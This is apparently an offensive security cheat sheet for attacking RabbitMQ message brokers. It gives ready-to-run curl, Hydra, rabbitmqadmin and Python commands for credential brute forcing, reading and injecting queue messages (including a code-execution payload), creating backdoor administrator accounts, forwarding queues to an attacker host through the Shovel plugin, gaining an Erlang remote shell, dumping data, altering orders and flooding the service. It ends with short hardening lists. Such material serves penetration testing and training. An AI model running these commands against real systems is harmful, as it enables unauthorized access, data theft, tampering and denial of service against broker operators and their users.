Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

RabbitMQ

Default Ports: 5672 (AMQP), 15672 (Management UI), 25672 (Clustering)

RabbitMQ is an open-source message broker software that implements the Advanced Message Queuing Protocol (AMQP). It facilitates communication between distributed applications by routing and queuing messages. RabbitMQ is widely used in microservices architectures and can expose sensitive data if misconfigured.

Connect

Using Web Management Interface

# Access management UI
http://target.com:15672
https://target.com:15672

# Default credentials
guest:guest (only works on localhost by default)

# Login with credentials
Username: admin
Password: password

Using rabbitmqadmin CLI

# Install rabbitmqadmin
wget http://target.com:15672/cli/rabbitmqadmin
chmod +x rabbitmqadmin

# List queues
./rabbitmqadmin -H target.com -u admin -p password list queues

# List exchanges
./rabbitmqadmin -H target.com -u admin -p password list exchanges

# List bindings
./rabbitmqadmin -H target.com -u admin -p password list bindings

# Get messages
./rabbitmqadmin -H target.com -u admin -p password get queue=queue_name

Using Python (pika library)

import pika

# Connect to RabbitMQ
credentials = pika.PlainCredentials('admin', 'password')
parameters = pika.ConnectionParameters(
'target.com',
5672,
'/',
credentials
)
connection = pika.BlockingConnection(parameters)
channel = connection.channel()

# Declare queue
channel.queue_declare(queue='test')

# Publish message
channel.basic_publish(exchange='', routing_key='test', body='Hello')

# Consume message
method, properties, body = channel.basic_get(queue='test')
print(body)

connection.close()

Recon

Service Detection with Nmap

Use Nmap to detect RabbitMQ services and identify server capabilities.

nmap -p 5672,15672,25672 target.com

Connect to RabbitMQ services to gather version and service information.

# Management API
curl http://target.com:15672/api/

# Get cluster name
curl -u guest:guest http://target.com:15672/api/cluster-name

# Get overview
curl -u guest:guest http://target.com:15672/api/overview

# Check if authentication is required
curl http://target.com:15672/api/whoami

Version Detection

Extract RabbitMQ version information from various sources.

# Get version from management API
curl -u admin:password http://target.com:15672/api/overview | jq .rabbitmq_version

# From login page
curl -s http://target.com:15672/ | grep -i "rabbitmq"

# From error pages
curl http://target.com:15672/nonexistent

Enumeration

User Enumeration

Discover RabbitMQ users and their permissions.

# List users (requires admin)
curl -u admin:password http://target.com:15672/api/users

# Get current user
curl -u admin:password http://target.com:15672/api/whoami

# User permissions
curl -u admin:password http://target.com:15672/api/users/username/permissions

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list users

Queue Enumeration

Explore RabbitMQ queues and their contents.

# List all queues
curl -u admin:password http://target.com:15672/api/queues

# Queue details
curl -u admin:password http://target.com:15672/api/queues/%2F/queue_name

# Messages in queue
curl -u admin:password http://target.com:15672/api/queues/%2F/queue_name/get \
-X POST -d '{"count":10,"ackmode":"ack_requeue_false","encoding":"auto"}'

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list queues \
name messages consumers

Exchange Enumeration

Discover RabbitMQ exchanges and their bindings.

# List exchanges
curl -u admin:password http://target.com:15672/api/exchanges

# Exchange details
curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.direct

# Bindings
curl -u admin:password http://target.com:15672/api/bindings

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list exchanges

Virtual Host Enumeration

Discover RabbitMQ virtual hosts and their configurations.

# List vhosts
curl -u admin:password http://target.com:15672/api/vhosts

# Vhost permissions
curl -u admin:password http://target.com:15672/api/vhosts/%2F/permissions

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list vhosts

Connection and Channel Info

Monitor active connections and channels.

# Active connections
curl -u admin:password http://target.com:15672/api/connections

# Active channels
curl -u admin:password http://target.com:15672/api/channels

# Consumers
curl -u admin:password http://target.com:15672/api/consumers

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password list connections
./rabbitmqadmin -H target.com -u admin -p password list channels

Attack Vectors

Default Credentials

RabbitMQ installations often retain default credentials for system accounts.

# Common default credentials
guest:guest # Only works on localhost by default
admin:admin
administrator:administrator
user:user
test:test

# Try with curl
curl -u guest:guest http://target.com:15672/api/overview

# Check if guest account is enabled
curl -u guest:guest http://target.com:15672/api/whoami

Brute Force Attack

Brute forcing RabbitMQ management interface can reveal weak credentials.

Using Hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-get /api/whoami:15672

Using Burp Suite Intruder

# Capture request to /api/whoami
# Send to Intruder
# Set Authorization header as payload position

Using Custom Script

for pass in $(cat passwords.txt); do
response=$(curl -s -u admin:$pass http://target.com:15672/api/whoami)
if [[ $response != *"401"* ]]; then
echo "[+] Found: admin:$pass"
break
fi
done

Message Interception

Intercept and consume messages from RabbitMQ queues.

# List queues and get messages
curl -u admin:password http://target.com:15672/api/queues

# Get messages from specific queue
curl -u admin:password http://target.com:15672/api/queues/%2F/orders/get \
-X POST \
-H "Content-Type: application/json" \
-d '{"count":100,"ackmode":"ack_requeue_true","encoding":"auto"}'

# Consume all messages
python3 << 'EOF'
import pika
import json

credentials = pika.PlainCredentials('admin', 'password')
connection = pika.BlockingConnection(
pika.ConnectionParameters('target.com', 5672, '/', credentials)
)
channel = connection.channel()

def callback(ch, method, properties, body):
print(f"Message: {body}")
with open('messages.txt', 'a') as f:
f.write(body.decode() + '\n')

channel.basic_consume(queue='queue_name', on_message_callback=callback, auto_ack=True)
channel.start_consuming()
EOF

Message Injection

Inject malicious messages into RabbitMQ queues.

# Publish malicious message to queue
curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.default/publish \
-X POST \
-H "Content-Type: application/json" \
-d '{
"properties":{},
"routing_key":"target_queue",
"payload":"malicious_payload",
"payload_encoding":"string"
}'

# Using Python
import pika

credentials = pika.PlainCredentials('admin', 'password')
connection = pika.BlockingConnection(
pika.ConnectionParameters('target.com', 5672, '/', credentials)
)
channel = connection.channel()

# Inject code execution payload (if consumer processes unsafely)
payload = '{"cmd":"__import__(\'os\').system(\'whoami\')"}'
channel.basic_publish(exchange='', routing_key='tasks', body=payload)

User Creation and Privilege Escalation

Create new users and escalate privileges in RabbitMQ.

# Create new admin user
curl -u admin:password http://target.com:15672/api/users/backdoor \
-X PUT \
-H "Content-Type: application/json" \
-d '{"password":"P@ssw0rd123!","tags":"administrator"}'

# Set permissions
curl -u admin:password http://target.com:15672/api/permissions/%2F/backdoor \
-X PUT \
-H "Content-Type: application/json" \
-d '{"configure":".*","write":".*","read":".*"}'

# Using rabbitmqadmin
./rabbitmqadmin -H target.com -u admin -p password declare user \
name=backdoor password=P@ssw0rd123! tags=administrator

Shovel Plugin Abuse

Exploit RabbitMQ Shovel plugin for message forwarding.

# If shovel plugin is enabled, can forward messages
curl -u admin:password http://target.com:15672/api/parameters/shovel/%2F/my-shovel \
-X PUT \
-H "Content-Type: application/json" \
-d '{
"value": {
"src-uri": "amqp://target.com",
"src-queue": "source_queue",
"dest-uri": "amqp://attacker.com",
"dest-queue": "stolen_messages"
}
}'

# All messages from source_queue will be forwarded to attacker's RabbitMQ

Exploit Erlang cookie for direct node access.

# If Erlang cookie is known or found
# Cookie located at: ~/.erlang.cookie or /var/lib/rabbitmq/.erlang.cookie

# Connect to Erlang node
erl -name attacker@attacker-host -setcookie COOKIE -remsh rabbit@target-host

# Execute Erlang commands
# List users
rabbit_auth_backend_internal:list_users().

# Add user
rabbit_auth_backend_internal:add_user(<<"backdoor">>, <<"password">>).

# Set admin tag
rabbit_auth_backend_internal:set_tags(<<"backdoor">>, [administrator]).

Post-Exploitation

Data Exfiltration

Extract sensitive data from RabbitMQ systems.

# Export all queues and messages
for queue in $(curl -s -u admin:password http://target.com:15672/api/queues | jq -r '.[].name'); do
echo "[+] Dumping queue: $queue"
curl -u admin:password http://target.com:15672/api/queues/%2F/$queue/get \
-X POST \
-d '{"count":1000,"ackmode":"ack_requeue_true","encoding":"auto"}' \
> ${queue}_messages.json
done

# Export configuration
curl -u admin:password http://target.com:15672/api/definitions > rabbitmq_config.json

# Export users and permissions
curl -u admin:password http://target.com:15672/api/users > users.json
curl -u admin:password http://target.com:15672/api/permissions > permissions.json

Persistence

Create persistent backdoor access to RabbitMQ systems.

# Create backdoor user with admin privileges
curl -u admin:password http://target.com:15672/api/users/system-monitor \
-X PUT \
-d '{"password":"ComplexP@ss123!","tags":"administrator"}'

# Set full permissions
curl -u admin:password http://target.com:15672/api/permissions/%2F/system-monitor \
-X PUT \
-d '{"configure":".*","write":".*","read":".*"}'

# Create hidden queue for C2
curl -u admin:password http://target.com:15672/api/queues/%2F/.system \
-X PUT \
-d '{"durable":true}'

Message Manipulation

Modify messages in RabbitMQ queues for malicious purposes.

# Modify messages in queue (requires draining and republishing)
# Get messages
messages=$(curl -u admin:password http://target.com:15672/api/queues/%2F/orders/get \
-X POST -d '{"count":100,"ackmode":"ack_requeue_false","encoding":"auto"}')

# Modify and republish
echo "$messages" | jq -c '.[]' | while read msg; do
# Modify message (e.g., change prices, quantities, etc.)
modified=$(echo "$msg" | jq '.payload = "modified_payload"')

# Republish
curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.default/publish \
-X POST -d "$modified"
done

Denial of Service

Perform denial of service attacks against RabbitMQ systems.

# Flood queue with messages
for i in {1..100000}; do
curl -u admin:password http://target.com:15672/api/exchanges/%2F/amq.default/publish \
-X POST \
-d "{\"routing_key\":\"target_queue\",\"payload\":\"DoS_$i\",\"payload_encoding\":\"string\"}"
done

# Create resource-intensive bindings
for i in {1..1000}; do
curl -u admin:password http://target.com:15672/api/bindings/%2F/e/exchange/q/queue \
-X POST -d "{\"routing_key\":\"key_$i\"}"
done

# Exhaust disk space with persistent messages
curl -u admin:password http://target.com:15672/api/queues/%2F/disk-filler \
-X PUT -d '{"durable":true}'

Common RabbitMQ API Endpoints

EndpointMethodDescriptionAuth Required
/api/overviewGETServer overviewYes
/api/whoamiGETCurrent user infoYes
/api/usersGETList usersAdmin
/api/queuesGETList queuesYes
/api/exchangesGETList exchangesYes
/api/bindingsGETList bindingsYes
/api/vhostsGETList virtual hostsYes
/api/connectionsGETList connectionsAdmin
/api/definitionsGETExport configurationAdmin

Useful Tools

ToolDescriptionPrimary Use Case
rabbitmqadminOfficial CLI toolManagement and automation
pikaPython AMQP libraryProgrammatic access
curlHTTP clientAPI interaction
Burp SuiteWeb proxyAPI testing
NmapNetwork scannerService detection
MetasploitExploitation frameworkAutomated testing

Security Misconfigurations to Test

  • ❌ Default credentials (guest:guest)
  • ❌ Weak admin passwords
  • ❌ Management interface exposed to internet
  • ❌ No TLS/SSL encryption
  • ❌ Guest account enabled remotely
  • ❌ Overly permissive user permissions
  • ❌ No authentication on AMQP port (5672)
  • ❌ Erlang cookie exposed or weak
  • ❌ Shovel/Federation plugins misconfigured
  • ❌ No rate limiting on message publishing
  • ❌ Sensitive data in messages
  • ❌ No message encryption
  • ❌ Verbose error messages
  • ❌ Outdated RabbitMQ version

Message Queue Security Best Practices

  • ✅ Change default credentials
  • ✅ Use strong passwords for all users
  • ✅ Implement TLS/SSL encryption
  • ✅ Disable guest account for remote access
  • ✅ Use principle of least privilege
  • ✅ Enable authentication on all ports
  • ✅ Protect Erlang cookie
  • ✅ Regularly update RabbitMQ
  • ✅ Implement message encryption
  • ✅ Monitor and log access
  • ✅ Use virtual hosts for isolation
  • ✅ Implement rate limiting
  • ✅ Validate and sanitize message content
  • ✅ Restrict management interface access